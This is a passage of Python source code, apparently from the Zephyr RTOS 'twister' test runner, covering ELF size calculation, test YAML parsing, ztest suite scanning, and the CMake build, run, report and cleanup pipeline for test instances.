({qemu_pid}): {proc.returncode}") self.returncode = proc.returncode # Need to wait for harness to finish processing # output from QEMU. Otherwise it might miss some # error messages. self.thread.join(0) if self.thread.is_alive(): logger.debug("Timed out while monitoring QEMU output") if os.path.exists(self.pid_fn): qemu_pid = int(open(self.pid_fn).read()) os.unlink(self.pid_fn) logger.debug(f"return code from QEMU ({qemu_pid}): {self.returncode}") if (self.returncode != 0 and not self.ignore_qemu_crash) or not harness.state: self.set_state("failed", 0) if is_timeout: self.instance.reason = "Timeout" else: self.instance.reason = "Exited with {}".format(self.returncode) def get_fifo(self): return self.fifo_fn class SizeCalculator: alloc_sections = [ "bss", "noinit", "app_bss", "app_noinit", "ccm_bss", "ccm_noinit" ] rw_sections = [ "datas", "initlevel", "exceptions", "initshell", "_static_thread_data_area", "k_timer_area", "k_mem_slab_area", "k_mem_pool_area", "sw_isr_table", "k_sem_area", "k_mutex_area", "app_shmem_regions", "_k_fifo_area", "_k_lifo_area", "k_stack_area", "k_msgq_area", "k_mbox_area", "k_pipe_area", "net_if_area", "net_if_dev_area", "net_l2_area", "net_l2_data", "k_queue_area", "_net_buf_pool_area", "app_datas", "kobject_data", "mmu_tables", "app_pad", "priv_stacks", "ccm_data", "usb_descriptor", "usb_data", "usb_bos_desc", "uart_mux", 'log_backends_sections', 'log_dynamic_sections', 'log_const_sections', "app_smem", 'shell_root_cmds_sections', 'log_const_sections', "font_entry_sections", "priv_stacks_noinit", "_GCOV_BSS_SECTION_NAME", "gcov", "nocache", "devices", "k_heap_area", ] # These get copied into RAM only on non-XIP ro_sections = [ "rom_start", "text", "ctors", "init_array", "reset", "z_object_assignment_area", "rodata", "net_l2", "vector", "sw_isr_table", "settings_handler_static_area", "bt_l2cap_fixed_chan_area", "bt_l2cap_br_fixed_chan_area", "bt_gatt_service_static_area", "vectors", "net_socket_register_area", "net_ppp_proto", "shell_area", "tracing_backend_area", "ppp_protocol_handler_area", ] def __init__(self, filename, extra_sections): """Constructor @param filename Path to the output binary The <filename> is parsed by objdump to determine section sizes """ # Make sure this is an ELF binary with open(filename, "rb") as f: magic = f.read(4) try: if magic != b'\x7fELF': raise TwisterRuntimeError("%s is not an ELF binary" % filename) except Exception as e: print(str(e)) sys.exit(2) # Search for CONFIG_XIP in the ELF's list of symbols using NM and AWK. # GREP can not be used as it returns an error if the symbol is not # found. is_xip_command = "nm " + filename + \ " | awk '/CONFIG_XIP/ { print $3 }'" is_xip_output = subprocess.check_output( is_xip_command, shell=True, stderr=subprocess.STDOUT).decode( "utf-8").strip() try: if is_xip_output.endswith("no symbols"): raise TwisterRuntimeError("%s has no symbol information" % filename) except Exception as e: print(str(e)) sys.exit(2) self.is_xip = (len(is_xip_output) != 0) self.filename = filename self.sections = [] self.rom_size = 0 self.ram_size = 0 self.extra_sections = extra_sections self._calculate_sizes() def get_ram_size(self): """Get the amount of RAM the application will use up on the device @return amount of RAM, in bytes """ return self.ram_size def get_rom_size(self): """Get the size of the data that this application uses on device's flash @return amount of ROM, in bytes """ return self.rom_size def unrecognized_sections(self): """Get a list of sections inside the binary that weren't recognized @return list of unrecognized section names """ slist = [] for v in self.sections: if not v["recognized"]: slist.append(v["name"]) return slist def _calculate_sizes(self): """ Calculate RAM and ROM usage by section """ objdump_command = "objdump -h " + self.filename objdump_output = subprocess.check_output( objdump_command, shell=True).decode("utf-8").splitlines() for line in objdump_output: words = line.split() if not words: # Skip lines that are too short continue index = words[0] if not index[0].isdigit(): # Skip lines that do not start continue # with a digit name = words[1] # Skip lines with section names if name[0] == '.': # starting with '.' continue # TODO this doesn't actually reflect the size in flash or RAM as # it doesn't include linker-imposed padding between sections. # It is close though. size = int(words[2], 16) if size == 0: continue load_addr = int(words[4], 16) virt_addr = int(words[3], 16) # Add section to memory use totals (for both non-XIP and XIP scenarios) # Unrecognized section names are not included in the calculations. recognized = True if name in SizeCalculator.alloc_sections: self.ram_size += size stype = "alloc" elif name in SizeCalculator.rw_sections: self.ram_size += size self.rom_size += size stype = "rw" elif name in SizeCalculator.ro_sections: self.rom_size += size if not self.is_xip: self.ram_size += size stype = "ro" else: stype = "unknown" if name not in self.extra_sections: recognized = False self.sections.append({"name": name, "load_addr": load_addr, "size": size, "virt_addr": virt_addr, "type": stype, "recognized": recognized}) class TwisterConfigParser: """Class to read test case files with semantic checking """ def __init__(self, filename, schema): """Instantiate a new TwisterConfigParser object @param filename Source .yaml file to read """ self.data = {} self.schema = schema self.filename = filename self.tests = {} self.common = {} def load(self): self.data = scl.yaml_load_verify(self.filename, self.schema) if 'tests' in self.data: self.tests = self.data['tests'] if 'common' in self.data: self.common = self.data['common'] def _cast_value(self, value, typestr): if isinstance(value, str): v = value.strip() if typestr == "str": return v elif typestr == "float": return float(value) elif typestr == "int": return int(value) elif typestr == "bool": return value elif typestr.startswith("list") and isinstance(value, list): return value elif typestr.startswith("list") and isinstance(value, str): vs = v.split() if len(typestr) > 4 and typestr[4] == ":": return [self._cast_value(vsi, typestr[5:]) for vsi in vs] else: return vs elif typestr.startswith("set"): vs = v.split() if len(typestr) > 3 and typestr[3] == ":": return {self._cast_value(vsi, typestr[4:]) for vsi in vs} else: return set(vs) elif typestr.startswith("map"): return value else: raise ConfigurationError( self.filename, "unknown type '%s'" % value) def get_test(self, name, valid_keys): """Get a dictionary representing the keys/values within a test @param name The test in the .yaml file to retrieve data from @param valid_keys A dictionary representing the intended semantics for this test. Each key in this dictionary is a key that could be specified, if a key is given in the .yaml file which isn't in here, it will generate an error. Each value in this dictionary is another dictionary containing metadata: "default" - Default value if not given "type" - Data type to convert the text value to. Simple types supported are "str", "float", "int", "bool" which will get converted to respective Python data types. "set" and "list" may also be specified which will split the value by whitespace (but keep the elements as strings). finally, "list:<type>" and "set:<type>" may be given which will perform a type conversion after splitting the value up. "required" - If true, raise an error if not defined. If false and "default" isn't specified, a type conversion will be done on an empty string @return A dictionary containing the test key-value pairs with type conversion and default values filled in per valid_keys """ d = {} for k, v in self.common.items(): d[k] = v for k, v in self.tests[name].items(): if k in d: if isinstance(d[k], str): # By default, we just concatenate string values of keys # which appear both in "common" and per-test sections, # but some keys are handled in adhoc way based on their # semantics. if k == "filter": d[k] = "(%s) and (%s)" % (d[k], v) else: d[k] += " " + v else: d[k] = v for k, kinfo in valid_keys.items(): if k not in d: if "required" in kinfo: required = kinfo["required"] else: required = False if required: raise ConfigurationError( self.filename, "missing required value for '%s' in test '%s'" % (k, name)) else: if "default" in kinfo: default = kinfo["default"] else: default = self._cast_value("", kinfo["type"]) d[k] = default else: try: d[k] = self._cast_value(d[k], kinfo["type"]) except ValueError: raise ConfigurationError( self.filename, "bad %s value '%s' for key '%s' in name '%s'" % (kinfo["type"], d[k], k, name)) return d class Platform: """Class representing metadata for a particular platform Maps directly to BOARD when building""" platform_schema = scl.yaml_load(os.path.join(ZEPHYR_BASE, "scripts", "schemas", "twister", "platform-schema.yaml")) def __init__(self): """Constructor. """ self.name = "" self.twister = True # if no RAM size is specified by the board, take a default of 128K self.ram = 128 self.ignore_tags = [] self.only_tags = [] self.default = False # if no flash size is specified by the board, take a default of 512K self.flash = 512 self.supported = set() self.arch = "" self.type = "na" self.simulation = "na" self.supported_toolchains = [] self.env = [] self.env_satisfied = True self.filter_data = dict() def load(self, platform_file): scp = TwisterConfigParser(platform_file, self.platform_schema) scp.load() data = scp.data self.name = data['identifier'] self.twister = data.get("twister", True) # if no RAM size is specified by the board, take a default of 128K self.ram = data.get("ram", 128) testing = data.get("testing", {}) self.ignore_tags = testing.get("ignore_tags", []) self.only_tags = testing.get("only_tags", []) self.default = testing.get("default", False) # if no flash size is specified by the board, take a default of 512K self.flash = data.get("flash", 512) self.supported = set() for supp_feature in data.get("supported", []): for item in supp_feature.split(":"): self.supported.add(item) self.arch = data['arch'] self.type = data.get('type', "na") self.simulation = data.get('simulation', "na") self.supported_toolchains = data.get("toolchain", []) self.env = data.get("env", []) self.env_satisfied = True for env in self.env: if not os.environ.get(env, None): self.env_satisfied = False def __repr__(self): return "<%s on %s>" % (self.name, self.arch) class DisablePyTestCollectionMixin(object): __test__ = False class TestCase(DisablePyTestCollectionMixin): """Class representing a test application """ def __init__(self, testcase_root, workdir, name): """TestCase constructor. This gets called by TestSuite as it finds and reads test yaml files. Multiple TestCase instances may be generated from a single testcase.yaml, each one corresponds to an entry within that file. We need to have a unique name for every single test case. Since a testcase.yaml can define multiple tests, the canonical name for the test case is <workdir>/<name>. @param testcase_root os.path.abspath() of one of the --testcase-root @param workdir Sub-directory of testcase_root where the .yaml test configuration file was found @param name Name of this test case, corresponding to the entry name in the test case configuration file. For many test cases that just define one test, can be anything and is usually "test". This is really only used to distinguish between different cases when the testcase.yaml defines multiple tests """ self.source_dir = "" self.yamlfile = "" self.cases = [] self.name = self.get_unique(testcase_root, workdir, name) self.id = name self.type = None self.tags = set() self.extra_args = None self.extra_configs = None self.arch_allow = None self.arch_exclude = None self.skip = False self.platform_exclude = None self.platform_allow = None self.toolchain_exclude = None self.toolchain_allow = None self.tc_filter = None self.timeout = 60 self.harness = "" self.harness_config = {} self.build_only = True self.build_on_all = False self.slow = False self.min_ram = -1 self.depends_on = None self.min_flash = -1 self.extra_sections = None self.integration_platforms = [] @staticmethod def get_unique(testcase_root, workdir, name): canonical_testcase_root = os.path.realpath(testcase_root) if Path(canonical_zephyr_base) in Path(canonical_testcase_root).parents: # This is in ZEPHYR_BASE, so include path in name for uniqueness # FIXME: We should not depend on path of test for unique names. relative_tc_root = os.path.relpath(canonical_testcase_root, start=canonical_zephyr_base) else: relative_tc_root = "" # workdir can be "." unique = os.path.normpath(os.path.join(relative_tc_root, workdir, name)) check = name.split(".") if len(check) < 2: raise TwisterException(f"""bad test name '{name}' in {testcase_root}/{workdir}. \ Tests should reference the category and subsystem with a dot as a separator. """ ) return unique @staticmethod def scan_file(inf_name): suite_regex = re.compile( # do not match until end-of-line, otherwise we won't allow # stc_regex below to catch the ones that are declared in the same # line--as we only search starting the end of this match br"^\s*ztest_test_suite\(\s*(?P<suite_name>[a-zA-Z0-9_]+)\s*,", re.MULTILINE) stc_regex = re.compile( br"^\s*" # empy space at the beginning is ok # catch the case where it is declared in the same sentence, e.g: # # ztest_test_suite(mutex_complex, ztest_user_unit_test(TESTNAME)); br"(?:ztest_test_suite\([a-zA-Z0-9_]+,\s*)?" # Catch ztest[_user]_unit_test-[_setup_teardown](TESTNAME) br"ztest_(?:1cpu_)?(?:user_)?unit_test(?:_setup_teardown)?" # Consume the argument that becomes the extra testcse br"\(\s*" br"(?P<stc_name>[a-zA-Z0-9_]+)" # _setup_teardown() variant has two extra arguments that we ignore br"(?:\s*,\s*[a-zA-Z0-9_]+\s*,\s*[a-zA-Z0-9_]+)?" br"\s*\)", # We don't check how it finishes; we don't care re.MULTILINE) suite_run_regex = re.compile( br"^\s*ztest_run_test_suite\((?P<suite_name>[a-zA-Z0-9_]+)\)", re.MULTILINE) achtung_regex = re.compile( br"(#ifdef|#endif)", re.MULTILINE) warnings = None with open(inf_name) as inf: if os.name == 'nt': mmap_args = {'fileno': inf.fileno(), 'length': 0, 'access': mmap.ACCESS_READ} else: mmap_args = {'fileno': inf.fileno(), 'length': 0, 'flags': mmap.MAP_PRIVATE, 'prot': mmap.PROT_READ, 'offset': 0} with contextlib.closing(mmap.mmap(**mmap_args)) as main_c: suite_regex_match = suite_regex.search(main_c) if not suite_regex_match: # can't find ztest_test_suite, maybe a client, because # it includes ztest.h return None, None suite_run_match = suite_run_regex.search(main_c) if not suite_run_match: raise ValueError("can't find ztest_run_test_suite") achtung_matches = re.findall( achtung_regex, main_c[suite_regex_match.end():suite_run_match.start()]) if achtung_matches: warnings = "found invalid %s in ztest_test_suite()" \ % ", ".join(sorted({match.decode() for match in achtung_matches},reverse = True)) _matches = re.findall( stc_regex, main_c[suite_regex_match.end():suite_run_match.start()]) for match in _matches: if not match.decode().startswith("test_"): warnings = "Found a test that does not start with test_" matches = [match.decode().replace("test_", "", 1) for match in _matches] return matches, warnings def scan_path(self, path): subcases = [] for filename in glob.glob(os.path.join(path, "src", "*.c*")): try: _subcases, warnings = self.scan_file(filename) if warnings: logger.error("%s: %s" % (filename, warnings)) raise TwisterRuntimeError("%s: %s" % (filename, warnings)) if _subcases: subcases += _subcases except ValueError as e: logger.error("%s: can't find: %s" % (filename, e)) for filename in glob.glob(os.path.join(path, "*.c")): try: _subcases, warnings = self.scan_file(filename) if warnings: logger.error("%s: %s" % (filename, warnings)) if _subcases: subcases += _subcases except ValueError as e: logger.error("%s: can't find: %s" % (filename, e)) return subcases def parse_subcases(self, test_path): results = self.scan_path(test_path) for sub in results: name = "{}.{}".format(self.id, sub) self.cases.append(name) if not results: self.cases.append(self.id) def __str__(self): return self.name class TestInstance(DisablePyTestCollectionMixin): """Class representing the execution of a particular TestCase on a platform @param test The TestCase object we want to build/execute @param platform Platform object that we want to build and run against @param base_outdir Base directory for all test results. The actual out directory used is <outdir>/<platform>/<test case name> """ def __init__(self, testcase, platform, outdir): self.testcase = testcase self.platform = platform self.status = None self.reason = "Unknown" self.metrics = dict() self.handler = None self.outdir = outdir self.name = os.path.join(platform.name, testcase.name) self.build_dir = os.path.join(outdir, platform.name, testcase.name) self.run = False self.results = {} def __getstate__(self): d = self.__dict__.copy() return d def __setstate__(self, d): self.__dict__.update(d) def __lt__(self, other): return self.name < other.name @staticmethod def testcase_runnable(testcase, fixtures): can_run = False # console harness allows us to run the test and capture data. if testcase.harness in [ 'console', 'ztest', 'pytest']: can_run = True # if we have a fixture that is also being supplied on the # command-line, then we need to run the test, not just build it. fixture = testcase.harness_config.get('fixture') if fixture: can_run = (fixture in fixtures) elif testcase.harness: can_run = False else: can_run = True return can_run # Global testsuite parameters def check_runnable(self, enable_slow=False, filter='buildable', fixtures=[]): # right now we only support building on windows. running is still work # in progress. if os.name == 'nt': return False # we asked for build-only on the command line if self.testcase.build_only: return False # Do not run slow tests: skip_slow = self.testcase.slow and not enable_slow if skip_slow: return False target_ready = bool(self.testcase.type == "unit" or \ self.platform.type == "native" or \ self.platform.simulation in ["mdb-nsim", "nsim", "renode", "qemu", "tsim", "armfvp"] or \ filter == 'runnable') if self.platform.simulation == "nsim": if not find_executable("nsimdrv"): target_ready = False if self.platform.simulation == "mdb-nsim": if not find_executable("mdb"): target_ready = False if self.platform.simulation == "renode": if not find_executable("renode"): target_ready = False if self.platform.simulation == "tsim": if not find_executable("tsim-leon3"): target_ready = False testcase_runnable = self.testcase_runnable(self.testcase, fixtures) return testcase_runnable and target_ready def create_overlay(self, platform, enable_asan=False, enable_ubsan=False, enable_coverage=False, coverage_platform=[]): # Create this in a "twister/" subdirectory otherwise this # will pass this overlay to kconfig.py *twice* and kconfig.cmake # will silently give that second time precedence over any # --extra-args=CONFIG_* subdir = os.path.join(self.build_dir, "twister") content = "" if self.testcase.extra_configs: content = "\n".join(self.testcase.extra_configs) if enable_coverage: if platform.name in coverage_platform: content = content + "\nCONFIG_COVERAGE=y" content = content + "\nCONFIG_COVERAGE_DUMP=y" if enable_asan: if platform.type == "native": content = content + "\nCONFIG_ASAN=y" if enable_ubsan: if platform.type == "native": content = content + "\nCONFIG_UBSAN=y" if content: os.makedirs(subdir, exist_ok=True) file = os.path.join(subdir, "testcase_extra.conf") with open(file, "w") as f: f.write(content) return content def calculate_sizes(self): """Get the RAM/ROM sizes of a test case. This can only be run after the instance has been executed by MakeGenerator, otherwise there won't be any binaries to measure. @return A SizeCalculator object """ fns = glob.glob(os.path.join(self.build_dir, "zephyr", "*.elf")) fns.extend(glob.glob(os.path.join(self.build_dir, "zephyr", "*.exe"))) fns = [x for x in fns if not x.endswith('_prebuilt.elf')] if len(fns) != 1: raise BuildError("Missing/multiple output ELF binary") return SizeCalculator(fns[0], self.testcase.extra_sections) def fill_results_by_status(self): """Fills results according to self.status The method is used to propagate the instance level status to the test cases inside. Useful when the whole instance is skipped and the info is required also at the test cases level for reporting. Should be used with caution, e.g. should not be used to fill all results with passes """ status_to_verdict = { 'skipped': 'SKIP', 'error': 'BLOCK', 'failure': 'FAILED' } for k in self.results: self.results[k] = status_to_verdict[self.status] def __repr__(self): return "<TestCase %s on %s>" % (self.testcase.name, self.platform.name) class CMake(): config_re = re.compile('(CONFIG_[A-Za-z0-9_]+)[=]\"?([^\"]*)\"?$') dt_re = re.compile('([A-Za-z0-9_]+)[=]\"?([^\"]*)\"?$') def __init__(self, testcase, platform, source_dir, build_dir): self.cwd = None self.capture_output = True self.defconfig = {} self.cmake_cache = {} self.instance = None self.testcase = testcase self.platform = platform self.source_dir = source_dir self.build_dir = build_dir self.log = "build.log" self.generator = None self.generator_cmd = None def parse_generated(self): self.defconfig = {} return {} def run_build(self, args=[]): logger.debug("Building %s for %s" % (self.source_dir, self.platform.name)) cmake_args = [] cmake_args.extend(args) cmake = shutil.which('cmake') cmd = [cmake] + cmake_args kwargs = dict() if self.capture_output: kwargs['stdout'] = subprocess.PIPE # CMake sends the output of message() to stderr unless it's STATUS kwargs['stderr'] = subprocess.STDOUT if self.cwd: kwargs['cwd'] = self.cwd p = subprocess.Popen(cmd, **kwargs) out, _ = p.communicate() results = {} if p.returncode == 0: msg = "Finished building %s for %s" % (self.source_dir, self.platform.name) self.instance.status = "passed" results = {'msg': msg, "returncode": p.returncode, "instance": self.instance} if out: log_msg = out.decode(sys.getdefaultencoding()) with open(os.path.join(self.build_dir, self.log), "a") as log: log.write(log_msg) else: return None else: # A real error occurred, raise an exception log_msg = "" if out: log_msg = out.decode(sys.getdefaultencoding()) with open(os.path.join(self.build_dir, self.log), "a") as log: log.write(log_msg) if log_msg: res = re.findall("region `(FLASH|RAM|ICCM|DCCM|SRAM)' overflowed by", log_msg) if res and not self.overflow_as_errors: logger.debug("Test skipped due to {} Overflow".format(res[0])) self.instance.status = "skipped" self.instance.reason = "{} overflow".format(res[0]) else: self.instance.status = "error" self.instance.reason = "Build failure" results = { "returncode": p.returncode, "instance": self.instance, } return results def run_cmake(self, args=[]): if self.warnings_as_errors: ldflags = "-Wl,--fatal-warnings" cflags = "-Werror" aflags = "-Wa,--fatal-warnings" gen_defines_args = "--edtlib-Werror" else: ldflags = cflags = aflags = "" gen_defines_args = "" logger.debug("Running cmake on %s for %s" % (self.source_dir, self.platform.name)) cmake_args = [ f'-B{self.build_dir}', f'-S{self.source_dir}', f'-DEXTRA_CFLAGS="{cflags}"', f'-DEXTRA_AFLAGS="{aflags}', f'-DEXTRA_LDFLAGS="{ldflags}"', f'-DEXTRA_GEN_DEFINES_ARGS={gen_defines_args}', f'-G{self.generator}' ] if self.cmake_only: cmake_args.append("-DCMAKE_EXPORT_COMPILE_COMMANDS=1") args = ["-D{}".format(a.replace('"', '')) for a in args] cmake_args.extend(args) cmake_opts = ['-DBOARD={}'.format(self.platform.name)] cmake_args.extend(cmake_opts) logger.debug("Calling cmake with arguments: {}".format(cmake_args)) cmake = shutil.which('cmake') cmd = [cmake] + cmake_args kwargs = dict() if self.capture_output: kwargs['stdout'] = subprocess.PIPE # CMake sends the output of message() to stderr unless it's STATUS kwargs['stderr'] = subprocess.STDOUT if self.cwd: kwargs['cwd'] = self.cwd p = subprocess.Popen(cmd, **kwargs) out, _ = p.communicate() if p.returncode == 0: filter_results = self.parse_generated() msg = "Finished building %s for %s" % (self.source_dir, self.platform.name) logger.debug(msg) results = {'msg': msg, 'filter': filter_results} else: self.instance.status = "error" self.instance.reason = "Cmake build failure" self.instance.fill_results_by_status() logger.error("Cmake build failure: %s for %s" % (self.source_dir, self.platform.name)) results = {"returncode": p.returncode} if out: with open(os.path.join(self.build_dir, self.log), "a") as log: log_msg = out.decode(sys.getdefaultencoding()) log.write(log_msg) return results @staticmethod def run_cmake_script(args=[]): logger.debug("Running cmake script %s" % (args[0])) cmake_args = ["-D{}".format(a.replace('"', '')) for a in args[1:]] cmake_args.extend(['-P', args[0]]) logger.debug("Calling cmake with arguments: {}".format(cmake_args)) cmake = shutil.which('cmake') if not cmake: msg = "Unable to find `cmake` in path" logger.error(msg) raise Exception(msg) cmd = [cmake] + cmake_args kwargs = dict() kwargs['stdout'] = subprocess.PIPE # CMake sends the output of message() to stderr unless it's STATUS kwargs['stderr'] = subprocess.STDOUT p = subprocess.Popen(cmd, **kwargs) out, _ = p.communicate() if p.returncode == 0: msg = "Finished running %s" % (args[0]) logger.debug(msg) results = {"returncode": p.returncode, "msg": msg, "stdout": out} else: logger.error("Cmake script failure: %s" % (args[0])) results = {"returncode": p.returncode} return results class FilterBuilder(CMake): def __init__(self, testcase, platform, source_dir, build_dir): super().__init__(testcase, platform, source_dir, build_dir) self.log = "config-twister.log" def parse_generated(self): if self.platform.name == "unit_testing": return {} cmake_cache_path = os.path.join(self.build_dir, "CMakeCache.txt") defconfig_path = os.path.join(self.build_dir, "zephyr", ".config") with open(defconfig_path, "r") as fp: defconfig = {} for line in fp.readlines(): m = self.config_re.match(line) if not m: if line.strip() and not line.startswith("#"): sys.stderr.write("Unrecognized line %s\n" % line) continue defconfig[m.group(1)] = m.group(2).strip() self.defconfig = defconfig cmake_conf = {} try: cache = CMakeCache.from_file(cmake_cache_path) except FileNotFoundError: cache = {} for k in iter(cache): cmake_conf[k.name] = k.value self.cmake_cache = cmake_conf filter_data = { "ARCH": self.platform.arch, "PLATFORM": self.platform.name } filter_data.update(os.environ) filter_data.update(self.defconfig) filter_data.update(self.cmake_cache) edt_pickle = os.path.join(self.build_dir, "zephyr", "edt.pickle") if self.testcase and self.testcase.tc_filter: try: if os.path.exists(edt_pickle): with open(edt_pickle, 'rb') as f: edt = pickle.load(f) else: edt = None res = expr_parser.parse(self.testcase.tc_filter, filter_data, edt) except (ValueError, SyntaxError) as se: sys.stderr.write( "Failed processing %s\n" % self.testcase.yamlfile) raise se if not res: return {os.path.join(self.platform.name, self.testcase.name): True} else: return {os.path.join(self.platform.name, self.testcase.name): False} else: self.platform.filter_data = filter_data return filter_data class ProjectBuilder(FilterBuilder): def __init__(self, suite, instance, **kwargs): super().__init__(instance.testcase, instance.platform, instance.testcase.source_dir, instance.build_dir) self.log = "build.log" self.instance = instance self.suite = suite self.filtered_tests = 0 self.lsan = kwargs.get('lsan', False) self.asan = kwargs.get('asan', False) self.ubsan = kwargs.get('ubsan', False) self.valgrind = kwargs.get('valgrind', False) self.extra_args = kwargs.get('extra_args', []) self.device_testing = kwargs.get('device_testing', False) self.cmake_only = kwargs.get('cmake_only', False) self.cleanup = kwargs.get('cleanup', False) self.coverage = kwargs.get('coverage', False) self.inline_logs = kwargs.get('inline_logs', False) self.generator = kwargs.get('generator', None) self.generator_cmd = kwargs.get('generator_cmd', None) self.verbose = kwargs.get('verbose', None) self.warnings_as_errors = kwargs.get('warnings_as_errors', True) self.overflow_as_errors = kwargs.get('overflow_as_errors', False) @staticmethod def log_info(filename, inline_logs): filename = os.path.abspath(os.path.realpath(filename)) if inline_logs: logger.info("{:-^100}".format(filename)) try: with open(filename) as fp: data = fp.read() except Exception as e: data = "Unable to read log data (%s)\n" % (str(e)) logger.error(data) logger.info("{:-^100}".format(filename)) else: logger.error("see: " + Fore.YELLOW + filename + Fore.RESET) def log_info_file(self, inline_logs): build_dir = self.instance.build_dir h_log = "{}/handler.log".format(build_dir) b_log = "{}/build.log".format(build_dir) v_log = "{}/valgrind.log".format(build_dir) d_log = "{}/device.log".format(build_dir) if os.path.exists(v_log) and "Valgrind" in self.instance.reason: self.log_info("{}".format(v_log), inline_logs) elif os.path.exists(h_log) and os.path.getsize(h_log) > 0: self.log_info("{}".format(h_log), inline_logs) elif os.path.exists(d_log) and os.path.getsize(d_log) > 0: self.log_info("{}".format(d_log), inline_logs) else: self.log_info("{}".format(b_log), inline_logs) def setup_handler(self): instance = self.instance args = [] # FIXME: Needs simplification if instance.platform.simulation == "qemu": instance.handler = QEMUHandler(instance, "qemu") args.append("QEMU_PIPE=%s" % instance.handler.get_fifo()) instance.handler.call_make_run = True elif instance.testcase.type == "unit": instance.handler = BinaryHandler(instance, "unit") instance.handler.binary = os.path.join(instance.build_dir, "testbinary") if self.coverage: args.append("COVERAGE=1") elif instance.platform.type == "native": handler = BinaryHandler(instance, "native") handler.asan = self.asan handler.valgrind = self.valgrind handler.lsan = self.lsan handler.ubsan = self.ubsan handler.coverage = self.coverage handler.binary = os.path.join(instance.build_dir, "zephyr", "zephyr.exe") instance.handler = handler elif instance.platform.simulation == "renode": if find_executable("renode"): instance.handler = BinaryHandler(instance, "renode") instance.handler.pid_fn = os.path.join(instance.build_dir, "renode.pid") instance.handler.call_make_run = True elif instance.platform.simulation == "tsim": instance.handler = BinaryHandler(instance, "tsim") instance.handler.call_make_run = True elif self.device_testing: instance.handler = DeviceHandler(instance, "device") instance.handler.coverage = self.coverage elif instance.platform.simulation == "nsim": if find_executable("nsimdrv"): instance.handler = BinaryHandler(instance, "nsim") instance.handler.call_make_run = True elif instance.platform.simulation == "mdb-nsim": if find_executable("mdb"): instance.handler = BinaryHandler(instance, "nsim") instance.handler.pid_fn = os.path.join(instance.build_dir, "mdb.pid") instance.handler.call_west_flash = True elif instance.platform.simulation == "armfvp": instance.handler = BinaryHandler(instance, "armfvp") instance.handler.call_make_run = True if instance.handler: instance.handler.args = args instance.handler.generator_cmd = self.generator_cmd instance.handler.generator = self.generator def process(self, pipeline, done, message, lock, results): op = message.get('op') if not self.instance.handler: self.setup_handler() # The build process, call cmake and build with configured generator if op == "cmake": res = self.cmake() if self.instance.status in ["failed", "error"]: pipeline.put({"op": "report", "test": self.instance}) elif self.cmake_only: if self.instance.status is None: self.instance.status = "passed" pipeline.put({"op": "report", "test": self.instance}) else: if self.instance.name in res['filter'] and res['filter'][self.instance.name]: logger.debug("filtering %s" % self.instance.name) self.instance.status = "skipped" self.instance.reason = "filter" results.skipped_runtime += 1 for case in self.instance.testcase.cases: self.instance.results.update({case: 'SKIP'}) pipeline.put({"op": "report", "test": self.instance}) else: pipeline.put({"op": "build", "test": self.instance}) elif op == "build": logger.debug("build test: %s" % self.instance.name) res = self.build() if not res: self.instance.status = "error" self.instance.reason = "Build Failure" pipeline.put({"op": "report", "test": self.instance}) else: # Count skipped cases during build, for example # due to ram/rom overflow. inst = res.get("instance", None) if inst and inst.status == "skipped": results.skipped_runtime += 1 if res.get('returncode', 1) > 0: pipeline.put({"op": "report", "test": self.instance}) else: if self.instance.run and self.instance.handler: pipeline.put({"op": "run", "test": self.instance}) else: pipeline.put({"op": "report", "test": self.instance}) # Run the generated binary using one of the supported handlers elif op == "run": logger.debug("run test: %s" % self.instance.name) self.run() self.instance.status, _ = self.instance.handler.get_state() logger.debug(f"run status: {self.instance.name} {self.instance.status}") # to make it work with pickle self.instance.handler.thread = None self.instance.handler.suite = None pipeline.put({ "op": "report", "test": self.instance, "status": self.instance.status, "reason": self.instance.reason } ) # Report results and output progress to screen elif op == "report": with lock: done.put(self.instance) self.report_out(results) if self.cleanup and not self.coverage and self.instance.status == "passed": pipeline.put({ "op": "cleanup", "test": self.instance }) elif op == "cleanup": if self.device_testing: self.cleanup_device_testing_artifacts() else: self.cleanup_artifacts() def cleanup_artifacts(self, additional_keep=[]): logger.debug("Cleaning up {}".format(self.instance.build_dir)) allow = [ 'zephyr/.config', 'handler.log', 'build.log', 'device.log', 'recording.csv', ] allow += additional_keep allow = [os.path.join(self.instance.build_dir, file) for file in allow] for dirpath, dirnames, filenames in os.walk(self.instance.build_dir, topdown=False): for name in filenames: path = os.path.join(dirpath, name) if path not in allow: os.remove(path) # Remove empty directories and symbolic links to directories for dir in dirnames: path = os.path.join(dirpath, dir) if os.path.islink(path): os.remove(path) elif not os.listdir(path): os.rmdir(path) def cleanup_device_testing_artifacts(self): logger.debug("Cleaning up for Device Testing {}".format(self.instance.build_dir)) sanitizelist = [ 'CMakeCache.txt', 'zephyr/runners.yaml', ] keep = [ 'zephyr/zephyr.hex', 'zephyr/zephyr.bin', 'zephyr/zephyr.elf', ] keep += sanitizelist self.cleanup_artifacts(keep) # sanitize paths so files are relocatable for file in sanitizelist: file = os.path.join(self.instance.build_dir, file) with open(file, "rt") as fin: data = fin.read() data = data.replace(canonical_zephyr_base+"/", "") with open(file, "wt") as fin: fin.write(data) def report_out(self, results): total_to_do = results.total - results.skipped_configs total_tests_width = len(str(total_to_do)) results.done += 1 instance = self.instance if instance.status in ["error", "failed", "timeout", "flash_error"]: if instance.status == "error": results.error += 1 results.failed += 1 if self.verbose: status = Fore.RED + "FAILED " + Fore.RESET + instance.reason else: print("") logger.error( "{:<25} {:<50} {}FAILED{}: {}".format( instance.platform.name, instance.testcase.name, Fore.RED, Fore.RESET, instance.reason)) if not self.verbose: self.log_info_file(self.inline_logs) elif instance.status == "skipped": status = Fore.YELLOW + "SKIPPED" + Fore.RESET elif instance.status == "passed": status = Fore.GREEN + "PASSED" + Fore.RESET else: logger.debug(f"Unknown status = {instance.status}") status = Fore.YELLOW + "UNKNOWN" + Fore.RESET if self.verbose: if self.cmake_only: more_info = "cmake" elif instance.status == "skipped": more_info = instance.reason else: if instance.handler and instance.run: more_info = instance.handler.type_str htime = instance.handler.duration if htime: more_info += " {:.3f}s".format(htime) else: more_info = "build" logger.info("{:>{}}/{} {:<25} {:<50} {} ({})".format( results.done, total_tests_width, total_to_do, instance.platform.name, instance.testcase.name, status, more_info)) if instance.status in ["error", "failed", "timeout"]: self.log_info_file(self.inline_logs) else: completed_perc = 0 if total_to_do > 0: completed_perc = int((float(results.done) / total_to_do) * 100) skipped = results.skipped_configs + results.skipped_runtime sys.stdout.write("\rINFO - Total complete: %s%4d/%4d%s %2d%% skipped: %s%4d%s, failed: %s%4d%s" % ( Fore.GREEN, results.done, total_to_do, Fore.RESET, completed_perc, Fore.YELLOW if skipped > 0 else Fore.RESET, skipped, Fore.RESET, 